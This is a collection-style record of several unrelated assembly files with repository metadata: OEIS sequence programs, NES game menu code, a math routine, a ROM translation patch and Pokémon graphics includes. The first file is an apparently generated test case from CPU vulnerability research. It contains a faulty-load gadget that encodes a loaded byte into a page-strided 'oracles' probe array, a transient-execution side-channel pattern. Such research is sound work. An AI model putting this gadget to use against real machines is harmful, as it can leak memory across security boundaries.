0a0bd7e355ac53830d6b99bb96a70ed1d3c5dca9
| 7,554
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_885.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_885.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_885.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xdc8a, %r8
nop
nop
nop
nop
nop
inc %r9
movl $0x61626364, (%r8)
nop
nop
nop
inc %rbx
lea addresses_UC_ht+0x63cd, %rsi
lea addresses_A_ht+0x1178d, %rdi
nop
nop
nop
nop
sub $8058, %rbx
mov $80, %rcx
rep movsl
nop
nop
cmp $49974, %r8
lea addresses_WC_ht+0xbd61, %rax
cmp %rbx, %rbx
mov $0x6162636465666768, %r8
movq %r8, %xmm7
movups %xmm7, (%rax)
nop
nop
add %rsi, %rsi
lea addresses_A_ht+0x1844d, %r8
nop
nop
nop
cmp %r9, %r9
movw $0x6162, (%r8)
nop
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x6c61, %rsi
lea addresses_D_ht+0x6bcd, %rdi
add $43127, %rdx
mov $67, %rcx
rep movsw
nop
nop
nop
nop
and $59938, %rbx
lea addresses_D_ht+0x415b, %rbx
nop
inc %rax
mov $0x6162636465666768, %rdx
movq %rdx, (%rbx)
nop
nop
nop
cmp %r9, %r9
lea addresses_A_ht+0x145cd, %rsi
lea addresses_WC_ht+0x13e5d, %rdi
xor %rax, %rax
mov $18, %rcx
rep movsq
nop
nop
nop
nop
nop
and $49287, %rdx
lea addresses_WC_ht+0x136cd, %rax
nop
nop
nop
nop
nop
add %r9, %r9
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
and $0xffffffffffffffc0, %rax
movaps %xmm7, (%rax)
nop
nop
nop
sub %r8, %r8
lea addresses_UC_ht+0xbcd, %r9
nop
nop
nop
add $2031, %rax
movb $0x61, (%r9)
nop
and %rdx, %rdx
lea addresses_A_ht+0x3dcd, %rax
nop
nop
nop
and %rdi, %rdi
mov $0x6162636465666768, %r8
movq %r8, %xmm1
and $0xffffffffffffffc0, %rax
vmovaps %ymm1, (%rax)
nop
nop
nop
sub %rdx, %rdx
lea addresses_UC_ht+0x1dfcd, %rbx
nop
add $24833, %rdx
mov (%rbx), %ax
nop
nop
add $36099, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0x13dcd, %rsi
nop
nop
nop
nop
add %r13, %r13
movw $0x5152, (%rsi)
cmp $22247, %rbp
// REPMOV
lea addresses_A+0xcc8d, %rsi
lea addresses_PSE+0x35cd, %rdi
xor %r14, %r14
mov $90, %rcx
rep movsw
nop
nop
nop
and $1116, %rdx
// Store
lea addresses_A+0x854d, %rbp
nop
cmp $44820, %r14
movl $0x51525354, (%rbp)
dec %r8
// Faulty Load
lea addresses_WC+0x13dcd, %rdx
xor %rdi, %rdi
vmovups (%rdx), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_PSE'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
| 34.180995
| 2,999
| 0.655811
|
c2927703bedd42c5aa38f8875463cf80f919574d
| 1,543
|
asm
|
Assembly
|
programs/oeis/250/A250761.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/250/A250761.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/250/A250761.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A250761: Number of (6+1) X (n+1) 0..2 arrays with nondecreasing x(i,j)-x(i,j-1) in the i direction and nondecreasing x(i,j)+x(i-1,j) in the j direction.
; 9585,22197,40023,63063,91317,124785,163467,207363,256473,310797,370335,435087,505053,580233,660627,746235,837057,933093,1034343,1140807,1252485,1369377,1491483,1618803,1751337,1889085,2032047,2180223,2333613,2492217,2656035,2825067,2999313,3178773,3363447,3553335,3748437,3948753,4154283,4365027,4580985,4802157,5028543,5260143,5496957,5738985,5986227,6238683,6496353,6759237,7027335,7300647,7579173,7862913,8151867,8446035,8745417,9050013,9359823,9674847,9995085,10320537,10651203,10987083,11328177,11674485,12026007,12382743,12744693,13111857,13484235,13861827,14244633,14632653,15025887,15424335,15827997,16236873,16650963,17070267,17494785,17924517,18359463,18799623,19244997,19695585,20151387,20612403,21078633,21550077,22026735,22508607,22995693,23487993,23985507,24488235,24996177,25509333,26027703,26551287
mov $2,$0
add $2,1
mov $4,$0
lpb $2
mov $0,$4
sub $2,1
sub $0,$2
mov $5,$0
add $5,1
mov $6,0
mov $11,$0
lpb $5
mov $0,$11
sub $5,1
sub $0,$5
mov $7,$0
mov $9,2
lpb $9
sub $9,1
add $0,$9
sub $0,1
mov $3,2
add $3,$0
trn $3,3
add $3,3
mul $3,729
sub $3,1
mov $10,$9
lpb $10
mov $8,$3
sub $10,1
lpe
lpe
lpb $7
mov $7,0
sub $8,$3
lpe
mov $3,$8
mul $3,3
add $3,3027
add $6,$3
lpe
add $1,$6
lpe
mov $0,$1
| 31.489796
| 816
| 0.674012
|
fe980c962fa808e15795464d06d001f97edfea3e
| 2,283
|
asm
|
Assembly
|
game/logic/game_states/donation_screen.asm
|
benoitryder/super-tilt-bro
|
8d5035f54e906a401d0808c2e104d32fa1fadd7f
|
[
"WTFPL"
] | 2
|
2020-09-29T16:43:35.000Z
|
2021-08-24T16:41:22.000Z
|
game/logic/game_states/donation_screen.asm
|
pompshuffle/super-tilt-bro
|
d0f836290223085d7794c445c696e1c644c674d2
|
[
"WTFPL"
] | null | null | null |
game/logic/game_states/donation_screen.asm
|
pompshuffle/super-tilt-bro
|
d0f836290223085d7794c445c696e1c644c674d2
|
[
"WTFPL"
] | null | null | null |
init_donation_screen:
.(
SWITCH_BANK(#DATA_BANK_NUMBER)
; Construct nt buffers for palettes (to avoid changing it mid-frame)
lda #<palette_donation
sta tmpfield1
lda #>palette_donation
sta tmpfield2
jsr construct_palettes_nt_buffer
; Copy background from PRG-rom to PPU nametable
lda #<nametable_donation
sta tmpfield1
lda #>nametable_donation
sta tmpfield2
jsr draw_zipped_nametable
; Initialize common menus effects
jsr re_init_menu
; Initialize state
lda #0
sta donation_method
rts
.)
donation_screen_tick:
.(
jsr reset_nt_buffers
SWITCH_BANK(#DATA_BANK_NUMBER)
; Play common menus effects
jsr tick_menu
; Check inputs
ldx #0
check_one_controller:
lda controller_a_btns, x
bne next_controller
lda controller_a_last_frame_btns, x
beq next_controller
cmp #CONTROLLER_BTN_LEFT
beq go_left
cmp #CONTROLLER_BTN_RIGHT
beq go_right
cmp #CONTROLLER_BTN_B
beq go_back
cmp #CONTROLLER_BTN_START
beq go_next_screen
cmp #CONTROLLER_BTN_A
beq go_next_screen
next_controller:
inx
cpx #2
bne check_one_controller
jmp no_press
go_back:
.(
lda #GAME_STATE_MODE_SELECTION
jsr change_global_game_state
;jmp no_press ; useless, change_global_game_state does not return
.)
go_next_screen:
.(
ldx donation_method
lda option_to_game_state, x
jsr change_global_game_state
;jmp no_press ; useless, change_global_game_state does not return
.)
go_left:
go_right:
.(
dec donation_method
bpl ok
lda #1
sta donation_method
ok:
;jmp no_press ; fallthrough
.)
no_press:
; Highlight currently selected option
lda #<nt_header
sta tmpfield1
lda #>nt_header
sta tmpfield2
ldx donation_method
lda nt_payload_addr_lsb, x
sta tmpfield3
lda nt_payload_addr_msb, x
sta tmpfield4
jsr construct_nt_buffer
end:
rts
option_to_game_state:
.byt GAME_STATE_DONATION_BTC, GAME_STATE_DONATION_PAYPAL
nt_header:
.byt $23, $f1, $06
nt_payload_btc:
.byt %00001010, %00001010, %00001010, %00000000, %00000000, %00000000
nt_payload_paypal:
.byt %00000000, %00000000, %00000000, %00001010, %00001010, %00001010
nt_payload_addr_lsb:
.byt <nt_payload_btc, <nt_payload_paypal
nt_payload_addr_msb:
.byt >nt_payload_btc, >nt_payload_paypal
.)
| 17.697674
| 71
| 0.756899
|
57f848d6314d64753b46433477e8adf8eb2cb976
| 670
|
asm
|
Assembly
|
programs/oeis/229/A229587.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/229/A229587.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/229/A229587.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A229587: Number of defective 3-colorings of a 2 X n 0..2 array connected horizontally and antidiagonally with exactly one mistake, and colors introduced in row-major 0..2 order
; 0,6,28,116,444,1620,5724,19764,67068,224532,743580,2440692,7951932,25745364,82904796,265720500,848179836,2697594516,8551948572,27033340788,85232507580,268094978388,841477302108,2636009007156,8242758323964,25732468879380,80209988360604,249667710249204,776116366249788,2409688805255892,7473085535287260
sub $0,1
cal $0,268622 ; Number of n X 2 0..2 arrays with some element plus some horizontally or vertically adjacent neighbor totalling two no more than once.
add $1,$0
div $1,3
mul $1,2
| 74.444444
| 302
| 0.820896
|
2849e18264355888c74432cf74d317a384a21c16
| 383
|
asm
|
Assembly
|
libsrc/math/zxmath/ldexp.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/math/zxmath/ldexp.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/math/zxmath/ldexp.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_fp
PUBLIC ldexp
EXTERN dload
EXTERN fa
;
; double ldexp (double x, int exp);
; Generate value from significand and exponent
; Returns the result of multiplying x (the significand) by 2
; raised to the power of exp (the exponent).
ldexp:
ld hl,4
add hl,sp
call dload
ld hl,2
add hl,sp
ld c,(hl)
ld hl,fa+5
ld a,(hl)
and a
ret z
add c
ld (hl),a
ret
| 13.206897
| 61
| 0.681462
|
bdb7e7fc44e7176b0eead96f2dbb3a36deaf6bd5
| 2,051
|
asm
|
Assembly
|
bahamut/source/combat-hdma.asm
|
higan-emu/bahamut-lagoon-translation-kit
|
6f08de5b92b597c0b9ecebd485cc975b99acfc13
|
[
"0BSD"
] | 2
|
2021-08-15T04:10:10.000Z
|
2021-08-15T20:14:13.000Z
|
bahamut/source/combat-hdma.asm
|
higan-emu/bahamut-lagoon-translation-kit
|
6f08de5b92b597c0b9ecebd485cc975b99acfc13
|
[
"0BSD"
] | 1
|
2022-02-16T02:46:39.000Z
|
2022-02-16T04:30:29.000Z
|
bahamut/source/combat-hdma.asm
|
higan-emu/bahamut-lagoon-translation-kit
|
6f08de5b92b597c0b9ecebd485cc975b99acfc13
|
[
"0BSD"
] | 1
|
2021-12-25T11:34:57.000Z
|
2021-12-25T11:34:57.000Z
|
namespace combat {
seek(codeCursor)
//there is a bug in S-CPU A where DMAs can fail if the last HDMA transfer had
//targeted BBADx=$00. this bug triggered on the experience screen after combat.
//this mitigation works by moving the HDMA to $21ff+$2100 instead.
//there is a second bug where writes to $2100 latch on the rising edge of the
//clock cycle, causing $2100 to become the previous value on the data bus (MDR.)
//this caused sprite glitches on 3-CHIP PPUs during Hblank tile fetching.
//this is mitigated by ensuring $21ff writes the same value as $2100 will.
namespace hdmaMitigation {
//originally the HDMA table was at $7e5600-$7e5608.
//the table has been moved to SRAM because it needs four additional bytes now.
variable(16, hdmaTable)
enqueue pc
seek($c11341); {
php; sep #$20; rep #$10
phb; ldb #$31
phx; ldx #$8080
lda #$10; sta.w hdmaTable+$0; stx.w hdmaTable+$1
lda #$60; sta.w hdmaTable+$3; stx.w hdmaTable+$4
lda #$56; sta.w hdmaTable+$6; stx.w hdmaTable+$7
lda #$08; sta.w hdmaTable+$9; stx.w hdmaTable+$a
stz.w hdmaTable+$c
lda #$01; sta $4370
lda #$ff; sta $4371
lda.b #hdmaTable >> 0; sta $4372; sta $4378
lda.b #hdmaTable >> 8; sta $4373; sta $4379
lda.b #hdmaTable >> 16; sta $4374
plx; plb; plp
assert(pc() == $c11395)
}
seek($c102f5); {
jsl write; nop #4
assert(pc() == $c102fd)
}
seek($c1c14f); {
lda hdmaTable+$0; dec; sta hdmaTable+$0
lda hdmaTable+$3; inc; sta hdmaTable+$3
assert(pc() == $c1c161)
}
seek($c1c164); {
lda hdmaTable+$0; inc; sta hdmaTable+$0
lda hdmaTable+$3; dec; sta hdmaTable+$3
assert(pc() == $c1c176)
}
seek($c28b86); {
lda #$0f; sta hdmaTable+$0
lda #$61; sta hdmaTable+$3
assert(pc() == $c28b92)
}
seek($c2ec60); {
lda #$10; sta hdmaTable+$0
lda #$60; sta hdmaTable+$3
assert(pc() == $c2ec6c)
}
dequeue pc
function write {
sta hdmaTable+$4; sta hdmaTable+$5
sta hdmaTable+$7; sta hdmaTable+$8
rtl
}
}
codeCursor = pc()
}
| 28.887324
| 80
| 0.638225
|
fc2aff4f9bd627ec3ba2325f47b694f03073ee3c
| 944
|
asm
|
Assembly
|
gfx/font.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | 1
|
2022-02-15T00:19:44.000Z
|
2022-02-15T00:19:44.000Z
|
gfx/font.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
gfx/font.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
PokemonLogoGraphics: INCBIN "gfx/title/pokemon_logo.2bpp"
FontGraphics:: INCBIN "gfx/font/font.1bpp"
FontGraphicsEnd::
ABTiles: INCBIN "gfx/font/AB.2bpp"
HpBarAndStatusGraphics:: INCBIN "gfx/font/font_battle_extra.2bpp"
HpBarAndStatusGraphicsEnd::
BattleHudTiles1: INCBIN "gfx/battle/battle_hud_1.1bpp"
BattleHudTiles1End:
BattleHudTiles2: INCBIN "gfx/battle/battle_hud_2.1bpp"
BattleHudTiles3: INCBIN "gfx/battle/battle_hud_3.1bpp"
BattleHudTiles3End:
NintendoCopyrightLogoGraphics: INCBIN "gfx/splash/copyright.2bpp"
GamefreakLogoGraphics: INCBIN "gfx/title/gamefreak_inc.2bpp"
GamefreakLogoGraphicsEnd:
TextBoxGraphics:: INCBIN "gfx/font/font_extra.2bpp"
TextBoxGraphicsEnd::
PokedexTileGraphics: INCBIN "gfx/pokedex/pokedex.2bpp"
PokedexTileGraphicsEnd:
WorldMapTileGraphics: INCBIN "gfx/town_map/town_map.2bpp"
WorldMapTileGraphicsEnd:
PlayerCharacterTitleGraphics: INCBIN "gfx/title/player.2bpp"
PlayerCharacterTitleGraphicsEnd:
| 29.5
| 65
| 0.841102
|
62d4b1e7a8d84f1412efa64ca1f590e3d6d4050a
| 119
|
asm
|
Assembly
|
src/test/resources/data/potests/test29-include.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 36
|
2020-06-29T06:52:26.000Z
|
2022-02-10T19:41:58.000Z
|
src/test/resources/data/potests/test29-include.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 39
|
2020-07-02T18:19:34.000Z
|
2022-03-27T18:08:54.000Z
|
src/test/resources/data/potests/test29-include.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 7
|
2020-07-02T06:00:05.000Z
|
2021-11-28T17:31:13.000Z
|
; Test case: for some reason macros within REPTs had funny behavior
ld_val: macro ?par1
ld a,?par1
ld (val),a
endm
| 17
| 67
| 0.722689
|
ac18b7c8a392ce1cfd18bcc6fb4ffb247affe92f
| 2,342
|
asm
|
Assembly
|
maps/Route24.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
maps/Route24.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
maps/Route24.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
object_const_def ; object_event constants
const ROUTE24_ROCKET
Route24_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
Route24RocketScript:
faceplayer
playmusic MUSIC_ROCKET_ENCOUNTER
opentext
writetext Route24RocketSeenText
waitbutton
closetext
winlosstext Route24RocketBeatenText, -1
loadtrainer GRUNTM, GRUNTM_31
startbattle
dontrestartmapmusic
reloadmapafterbattle
playmusic MUSIC_ROCKET_ENCOUNTER
opentext
writetext Route24RocketAfterBattleText
buttonsound
special FadeOutMusic
writetext Route24RocketDisappearsText
waitbutton
closetext
special FadeBlackQuickly
special ReloadSpritesNoPalettes
disappear ROUTE24_ROCKET
pause 25
special FadeInQuickly
playmapmusic
end
Route24RocketSeenText:
text "Hey, kid! Me am a"
line "TEAM ROCKET member"
cont "kind of guy!"
para "Come from another"
line "country, a trainer"
cont "number one, me!"
para "Think I did, if"
line "stop the energy,"
para "be big panic for"
line "here people!"
para "Secret it is my"
line "mission, so tell"
cont "you I not!"
para "But! If win you do"
line "versus me, a man I"
para "be and mine secret"
line "to you I tell."
para "Hey, kid! Battle"
line "begin we do!"
done
Route24RocketBeatenText:
text "Ayieeeh! No, no,"
line "no, believe it I"
cont "can't!"
para "Strong very much"
line "be you! Match I am"
cont "not to you!"
done
Route24RocketAfterBattleText:
text "OK. Tell you mine"
line "secret will I."
para "MACHINE PART steal"
line "by me, hide it I"
para "did in GYM of the"
line "CERULEAN."
para "Inside water put"
line "it I did. Look for"
para "in water center of"
line "GYM at."
para "But you forget me"
line "not!"
para "Beat you for sure"
line "will TEAM ROCKET."
para "Come from JOHTO"
line "will they, mine"
para "friends, yes. Will"
line "revenge they are."
done
Route24RocketDisappearsText:
text "…"
para "You say what? TEAM"
line "ROCKET bye-bye a"
para "go-go? Broken it"
line "is says you?"
para "Oh, no! Should I"
line "do what now on"
cont "from, me?"
done
Route24_MapEvents:
db 0, 0 ; filler
db 0 ; warp events
db 0 ; coord events
db 0 ; bg events
db 1 ; object events
object_event 8, 7, SPRITE_ROCKET, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, Route24RocketScript, EVENT_ROUTE_24_ROCKET
| 18.015385
| 150
| 0.730145
|
a5b58bc39245255ef7fbacd319a581d9acc7c97a
| 1,539
|
asm
|
Assembly
|
programs/oeis/195/A195042.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/195/A195042.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/195/A195042.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A195042: Concentric 9-gonal numbers.
; 0,1,9,19,36,55,81,109,144,181,225,271,324,379,441,505,576,649,729,811,900,991,1089,1189,1296,1405,1521,1639,1764,1891,2025,2161,2304,2449,2601,2755,2916,3079,3249,3421,3600,3781,3969,4159,4356,4555,4761,4969,5184,5401,5625,5851,6084,6319,6561,6805,7056,7309,7569,7831,8100,8371,8649,8929,9216,9505,9801,10099,10404,10711,11025,11341,11664,11989,12321,12655,12996,13339,13689,14041,14400,14761,15129,15499,15876,16255,16641,17029,17424,17821,18225,18631,19044,19459,19881,20305,20736,21169,21609,22051,22500,22951,23409,23869,24336,24805,25281,25759,26244,26731,27225,27721,28224,28729,29241,29755,30276,30799,31329,31861,32400,32941,33489,34039,34596,35155,35721,36289,36864,37441,38025,38611,39204,39799,40401,41005,41616,42229,42849,43471,44100,44731,45369,46009,46656,47305,47961,48619,49284,49951,50625,51301,51984,52669,53361,54055,54756,55459,56169,56881,57600,58321,59049,59779,60516,61255,62001,62749,63504,64261,65025,65791,66564,67339,68121,68905,69696,70489,71289,72091,72900,73711,74529,75349,76176,77005,77841,78679,79524,80371,81225,82081,82944,83809,84681,85555,86436,87319,88209,89101,90000,90901,91809,92719,93636,94555,95481,96409,97344,98281,99225,100171,101124,102079,103041,104005,104976,105949,106929,107911,108900,109891,110889,111889,112896,113905,114921,115939,116964,117991,119025,120061,121104,122149,123201,124255,125316,126379,127449,128521,129600,130681,131769,132859,133956,135055,136161,137269,138384,139501
pow $0,2
mov $1,$0
mov $2,$0
div $2,4
mul $2,5
add $1,$2
| 153.9
| 1,441
| 0.812216
|
ac3425684b18be7cc7096598cce0bbec129c9d88
| 421
|
asm
|
Assembly
|
programs/oeis/032/A032509.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/032/A032509.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/032/A032509.asm
|
